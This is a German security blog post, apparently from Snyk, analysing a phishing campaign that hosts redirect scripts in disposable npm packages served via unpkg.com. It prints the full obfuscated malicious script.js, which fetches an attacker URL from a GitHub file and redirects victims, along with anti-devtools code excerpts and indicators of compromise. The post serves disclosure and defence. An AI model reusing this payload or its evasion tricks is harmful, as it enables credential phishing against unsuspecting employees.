Skip to main content

Phishing-Kampagne nutzt das NPM-Ökosystem aus

Artikel von
blog feature toolkit

9. Oktober 2025

0 Min. Lesezeit

Im Oktober 2025 deckten Forscher einen Phishing-Angriff auf, der das npm-Ökosystem missbraucht – diesmal nicht, um Entwickler bei der Installation zu infizieren, sondern um Phishing-Skripte über das vertrauenswürdige unpkg.com CDN zu hosten und auszuliefern.

Die Angreifer platzierten mehr als 175 Wegwerf-Pakete als temporäre Hosting-Plattform für JavaScript, das Opfer automatisch zu Websites zur Erbeutung von Zugangsdaten weiterleitet, wenn diese speziell gestaltete HTML-„Geschäftsdokumente“ öffnen. Laut Socket, das die Nachricht zuerst veröffentlichte und erste Datenpunkte lieferte, erstrecken sich die Ziele dieser Kampagne über mehr als 135 Organisationen (vor allem aus Industrie, Technologie und Energie in Europa). Nach der Offenlegung analysierte Snyk die Pakete der Kampagne weiter und identifizierte einen separaten Cluster mit Namen nach dem Muster mad-x.x.x.x.x.x (wobei x für eine Zufallszahl steht). Diese scheinen mit ähnlicher Infrastruktur und Absicht zusammenzuhängen oder Nachahmungsversuche zu sein.

Anders als bei der bekannteren Taktik, einfach bösartige Pakete hochzuladen, um Entwickler während der Paketinstallation zu kompromittieren, geht diese Kampagne einen anderen Weg. Statt Nutzer über npm install zu infizieren, nutzen die Angreifer den Browser-Auslieferungsweg über unpkg und verwandeln eine legitime Open-Source-Hosting-Infrastruktur in einen Phishing-Mechanismus. Das ist ein deutliches Zeichen dafür, dass Angreifer Methoden jenseits herkömmlicher Paket-Exploits erkunden und aktiv neue Wege ausloten, um das Open-Source-Ökosystem selbst zu missbrauchen. Auch wenn es sich nicht um eine klassische Supply-Chain-Kompromittierung handelt, sollte man den Vorfall genau beobachten.

Was bei diesem Supply-Chain-Angriff passiert ist

  1. Massenveröffentlichung von Paketen: Die Angreifer automatisierten die Erstellung zahlreicher npm-Pakete (Muster redirect-[a-z0-9]{6}) mit minimalem Inhalt: beamglea.js und HTML-Täuschungsdateien.

  2. Automatische Verfügbarkeit über das CDN: Sobald eine Paketversion veröffentlicht wird, lässt sich die beliebte, zentralisierte CDN-Ressource unter unpkg.com referenzieren, etwa in <script src="https://unpkg.com/<name>@<ver>/beamglea.js">, um diese Malware-Pakete zu nutzen.

  3. Verbreitung des Phishings: Die Zielpersonen erhalten eigens gestaltete HTML-Dateien, die häufig Rechnungen und andere Daten nachahmen. Beim Öffnen wird das unpkg-Skript geladen.

  4. Abfangen von Zugangsdaten: Das Skript leitet sofort auf eine Angreiferseite weiter und übergibt die E-Mail-Adresse des Opfers über das URL-Fragment, sodass das Phishing-Formular vorausgefüllt ist. Das schafft einen überzeugenden Vertrauenshinweis und umgeht Serverprotokolle.

Zeitlicher Ablauf

Der bislang bekannte zeitliche Ablauf dieses sich weiterentwickelnden Vorfalls:

  • 24. September 2025: Erste Spuren der Infrastruktur wurden öffentlich gemeldet.

  • 9. Oktober 2025: Socket veröffentlicht eine Analyse mit Details zu den 175 Paketen, dem Codenamen „Beamglea“, dem Namensmuster redirect-* und den mehr als 135 betroffenen Organisationen.

  • 10. Oktober 2025: Eine interne Analyse von Snyk dokumentiert weitere, von Socket nicht aufgeführte Pakete mit dem Namensschema mad-* (Diese werden noch untersucht; eine Zuordnung und Verbindung zum selben Angreifer sind noch nicht abschließend geklärt.).

Betroffene Komponenten

  • Primär: Alle Personen, die eine HTML-Täuschungsdatei der Kampagne in einem Browser öffnen, der anschließend ein Skript von unpkg.com abruft. Die Zielgruppe sind Beschäftigte von Unternehmen, nicht Entwickler.

  • Paketübersicht:

    • Die Familie redirect-* (ca. 175 Pakete) dient als CDN-Host für beamglea.js und HTML-Dateien. Socket

    • Zusätzliche von Snyk gekennzeichnete Pakete (nicht im Socket-Beitrag enthalten):

      • mad-1.0.0.2.2.8, mad-1.2.9.2.2.8, mad-2.4.0.2.2.8, mad-1.4.1.2.2.8, mad-2.0.0.2.2.8, mad-4.0.1.2.2.8, mad-3.0.1.2.2.8, mad-2.0.2.2.2.8, mad-10.1.1.2.2.8, mad-1.4.2.2.2.8, mad-2.4.1.2.2.8, mad-1.4.0.2.2.8, mad-10.2.1.2.2.8, mad-2.0.1.2.2.8, mad-3.0.0.2.2.8, mad-5.0.0.2.2.8, mad-3.0.2.2.2.8, mad-4.0.0.2.2.8, mad-5.0.1.2.2.8, mad-6.0.0.2.2.8

Analyse der mad-*-Pakete

Dieses Paket enthält eine gefälschte Seite mit einer „Cloudflare-Sicherheitsprüfung“, die Nutzer heimlich zu einer von Angreifern kontrollierten URL weiterleitet, die aus einer externen, auf GitHub gehosteten Datei abgerufen wird. Die Seite enthält gängige Anti-Analyse-Logik, die Inspektions-Shortcuts blockiert und nach dem Anklicken eines gefälschten Bestätigungs-Kontrollkästchens versucht, das oberste Fenster weiterzuleiten (Frame-Busting).

Funktionsweise

Phishing-/Täuschungsoberfläche: Ahmt Cloudflare nach und verweist auf das mögliche Ziel.

<h1>Security Check</h1>
<p class="description">
  We are checking your browser before granting access to 
    <span style="font-weight: bold; color: black; font-size: 1.1em;">redacted.site</span>.
  This may take a few seconds.
</p>
Browserfenster mit einer verdächtigen Seite zur „Sicherheitsprüfung“, einem Kontrollkästchen „Ich bin kein Roboter“ und dem Hinweis auf eine automatische Weiterleitung.

Erkennung von Entwicklertools: Der Code prüft regelmäßig, ob Entwicklertools geöffnet sind, und blendet die Seite bei Erkennung aus oder leitet weiter.

  const CHECK_INTERVAL = 600; 
  const SIZE_THRESHOLD = 160; 
  const REACTION = 'blank'; 
  ...
  function sizeCheck() {
    ...
    return (dw > SIZE_THRESHOLD) || (dh > SIZE_THRESHOLD);
  function consoleCheck() {
    ...
    Object.defineProperty(obj, 'id', {
      get: function() {
        open = true;
        return '1';
      }
    });
    console.log(obj);
    return open;

Auslösung durch Benutzeraktion: Wenn das Kontrollkästchen „Ich bin kein Roboter“ aktiviert wird, erscheint ein Ladesymbol, danach wird eine externe Textdatei abgerufen. Enthält die Datei eine URL, leitet das Skript den Browser (oder dessen übergeordneten Frame) zu dieser URL weiter. 

Erschwerte Untersuchung: Deaktiviert Rechtsklick, F12, gängige Tastenkombinationen für Entwicklertools sowie „Seitenquelltext anzeigen“ und „Speichern“.

    document.addEventListener('contextmenu', function(e) {
        e.preventDefault();
    });

    document.addEventListener('keydown', function(e) {

        if (e.key === "F12") {
            e.preventDefault();
        }

        if ((e.ctrlKey && e.shiftKey && (e.key === 'I' || e.key === 'J')) || 
            (e.ctrlKey && (e.key === 'U' || e.key === 'S'))) {
            e.preventDefault();
        }
    });

Die Malware-Nutzlast

Als Referenz für andere Sicherheitsforscher und Leser stellen wir den vollständigen obfuskierten Code von script.js bereit. Diese Nutzlast wird über das folgende Skript auf der Seite geladen: <script src="https://unpkg.com/mad-4.0.0.2.2.8.@3.0.1/script.js" defer></script> <script>.

Die Malware-Nutzlast:

function _0xab84(_0x5df706, _0x320379) {
    const _0x12f2bf = _0x12f2();
    return _0xab84 = function (_0xab8422, _0x3659f3) {
        _0xab8422 = _0xab8422 - 0x16e;
        let _0x376c45 = _0x12f2bf[_0xab8422];
        return _0x376c45;
    }, _0xab84(_0x5df706, _0x320379);
}
const _0x454c0a = _0xab84;

function _0x12f2() {
    const _0x199a32 = ['4898145oELnlc', '10LcRtZV', 'then', '15289353dnZbJp', 'addEventListener', '2564739cAzVxA', 'trim', '.checkbox-container', '[redirect] raw text length:', 'style', 'https://raw.githubusercontent.com/Abassdos2992/truboebvitalya/refs/heads/main/mad4.txt', 'status', 'length', 'loadingSpinner', '1796076dMFIfM', '88NkGily', '<p>Success!</p>', '[redirect] fetching URL from', 'location', 'checked', 'GET', 'random', 'href', '4qxNEbE', 'error', '.verification-box', 'none', '[redirect] window.top assignment failed:', '[redirect] fetch status:', '[redirect] fetch failed:', 'innerHTML', '[redirect] unexpected error:', '[redirect] invalid URL format:', '[redirect] empty URL received from GitHub file', 'info', 'DOMContentLoaded', 'display', 'botCheck', '3226570QdFfpZ', '[redirect] redirecting to:', 'getElementById', 'change', '4bDCpQe', 'querySelector', '15100920Pnmwdh', 'top', 'no-store', 'block', '6VLioyL', 'test', '937826VuaTzv'];
    _0x12f2 = function () {
        return _0x199a32;
    };
    return _0x12f2();
}(function (_0x5ee12f, _0x463d21) {
    const _0xe50adb = _0xab84,
        _0x418764 = _0x5ee12f();
    while (!![]) {
        try {
            const _0x33be1a = parseInt(_0xe50adb(0x19c)) / 0x1 * (parseInt(_0xe50adb(0x184)) / 0x2) + -parseInt(_0xe50adb(0x18a)) / 0x3 * (parseInt(_0xe50adb(0x17c)) / 0x4) + parseInt(_0xe50adb(0x178)) / 0x5 + -parseInt(_0xe50adb(0x182)) / 0x6 * (-parseInt(_0xe50adb(0x185)) / 0x7) + -parseInt(_0xe50adb(0x17e)) / 0x8 + parseInt(_0xe50adb(0x188)) / 0x9 * (parseInt(_0xe50adb(0x186)) / 0xa) + parseInt(_0xe50adb(0x194)) / 0xb * (-parseInt(_0xe50adb(0x193)) / 0xc);
            if (_0x33be1a === _0x463d21) break;
            else _0x418764['push'](_0x418764['shift']());
        } catch (_0xab8496) {
            _0x418764['push'](_0x418764['shift']());
        }
    }
}(_0x12f2, 0xef296), document[_0x454c0a(0x189)](_0x454c0a(0x175), function () {
    const _0xa859eb = _0x454c0a,
        _0x4ef0d2 = document[_0xa859eb(0x17a)](_0xa859eb(0x177)),
        _0x224de6 = document['querySelector'](_0xa859eb(0x19e)),
        _0x441ce0 = document['getElementById'](_0xa859eb(0x192)),
        _0xd10573 = document[_0xa859eb(0x17d)](_0xa859eb(0x18c)),
        _0x10848a = _0xa859eb(0x18f),
        _0x569cab = _0x10848a;
    _0x4ef0d2['addEventListener'](_0xa859eb(0x17b), function () {
        const _0x491ce3 = _0xa859eb;
        if (!this[_0x491ce3(0x198)]) return;
        try {
            _0x184285(), setTimeout(() => {
                _0x405f84(), setTimeout(() => {
                    const _0x89d3d3 = _0xab84;
                    console[_0x89d3d3(0x174)](_0x89d3d3(0x196), _0x569cab), fetch(_0x569cab, {
                        'method': _0x89d3d3(0x199),
                        'cache': _0x89d3d3(0x180)
                    })[_0x89d3d3(0x187)](_0xb053b6 => {
                        const _0x42dda6 = _0x89d3d3;
                        return console[_0x42dda6(0x174)](_0x42dda6(0x16e), _0xb053b6[_0x42dda6(0x190)], _0xb053b6['statusText']), _0xb053b6['text']()[_0x42dda6(0x187)](_0x239cb7 => ({
                            'status': _0xb053b6[_0x42dda6(0x190)],
                            'text': _0x239cb7
                        }));
                    })[_0x89d3d3(0x187)](({
                        status: _0x48490,
                        text: _0x54a6fa
                    }) => {
                        const _0x4408f0 = _0x89d3d3,
                            _0x4cfb55 = (_0x54a6fa || '')[_0x4408f0(0x18b)]();
                        console[_0x4408f0(0x174)](_0x4408f0(0x18d), (_0x54a6fa || '')[_0x4408f0(0x191)]);
                        if (!_0x4cfb55) {
                            console[_0x4408f0(0x19d)](_0x4408f0(0x173));
                            return;
                        }
                        if (!/^https?:\/\//i [_0x4408f0(0x183)](_0x4cfb55)) {
                            console['error'](_0x4408f0(0x172), _0x4cfb55);
                            return;
                        }
                        console[_0x4408f0(0x174)](_0x4408f0(0x179), _0x4cfb55);
                        try {
                            window[_0x4408f0(0x17f)][_0x4408f0(0x197)][_0x4408f0(0x19b)] = _0x4cfb55;
                            return;
                        } catch (_0x86bd20) {
                            console['warn'](_0x4408f0(0x1a0), _0x86bd20);
                        }
                        try {
                            window[_0x4408f0(0x197)][_0x4408f0(0x19b)] = _0x4cfb55;
                        } catch (_0x255bd0) {
                            console[_0x4408f0(0x19d)]('[redirect] window.location assignment failed:', _0x255bd0);
                        }
                    })['catch'](_0x5a4cd6 => {
                        const _0xb0c328 = _0x89d3d3;
                        console[_0xb0c328(0x19d)](_0xb0c328(0x16f), _0x5a4cd6);
                    });
                }, 0x3e8);
            }, 0x7d0 + Math[_0x491ce3(0x19a)]() * 0x3e8);
        } catch (_0x96207c) {
            console[_0x491ce3(0x19d)](_0x491ce3(0x171), _0x96207c);
        }
    });

    function _0x184285() {
        const _0x5471f3 = _0xa859eb;
        if (_0xd10573) _0xd10573['style']['display'] = _0x5471f3(0x19f);
        if (_0x441ce0) _0x441ce0[_0x5471f3(0x18e)]['display'] = _0x5471f3(0x181);
    }

    function _0x405f84() {
        const _0x197e4e = _0xa859eb;
        if (_0x441ce0) _0x441ce0['style'][_0x197e4e(0x176)] = 'none';
        if (_0x224de6) _0x224de6[_0x197e4e(0x170)] = _0x197e4e(0x195);
    }
}));

Häufig gestellte Fragen 

Was sind die Indicators of Compromise (IoCs) für diesen Supply-Chain-Angriff?

Datei-/Inhaltshinweise (Endpunkte oder E-Mail-Gateways):

  • HTML mit <script src="https://unpkg.com/redirect-<6-char-suffix>@<semver>/beamglea.js">.

  • HTML-Meta-Tag, der in verschiedenen Ködern vorkommt: name="html-meta" content="nb830r6x".

Netzwerkhinweise:

  • Ausgehende Anfragen von Benutzerendpunkten an unpkg.com, auf die unmittelbar eine Navigation zu verdächtigen Domains wie cfn.jackpotmastersdanske[.]com folgt.

Paket-Hinweise (Repositories/Entwicklungsumgebungen):

  • Vorhandensein von wenig aussagekräftigen npm-Paketen mit Namen wie redirect-[a-z0-9]{6} oder aus der oben aufgeführten Liste mad-* – selbst wenn sie nicht installiert sind (da sie remote über unpkg.com geladen werden).

Welche Open-Source-Komponenten sind an diesem Angriff beteiligt?

  • npm-Registry: Wird durch die Veröffentlichung vieler Pakete mit geringem Nutzen (z. B. redirect-<random>) als kostenloser, vertrauenswürdiger Hosting-Ursprung genutzt. Jedes Paket enthält ein kleines Weiterleitungsskript und Köderdateien.

  • unpkg.com CDN: Stellt automatisch jedes öffentliche npm-Paket über HTTPS bereit. Angreifer nutzen dies, um beamglea.js direkt in den Browsern der Opfer zu laden.

  • HTML-Köder für Opfer: Harmlos wirkende Bestellungen oder Projektdokumente, die beim lokalen Öffnen das Skript vom zentralen unpkg.com-CDN laden und Nutzer zu gefälschten Anmeldeportalen weiterleiten, in denen das E-Mail-Feld bereits ausgefüllt ist – was die Glaubwürdigkeit erhöhen soll.

SNYK LABS

Testen Sie die neuesten Innovationen von Snyk im Bereich KI-Sicherheit

Snyk-Kunden haben jetzt Zugriff auf Snyk AI-BOM und Snyk MCP-Scan in der experimentellen Vorschau – und weitere Innovationen folgen!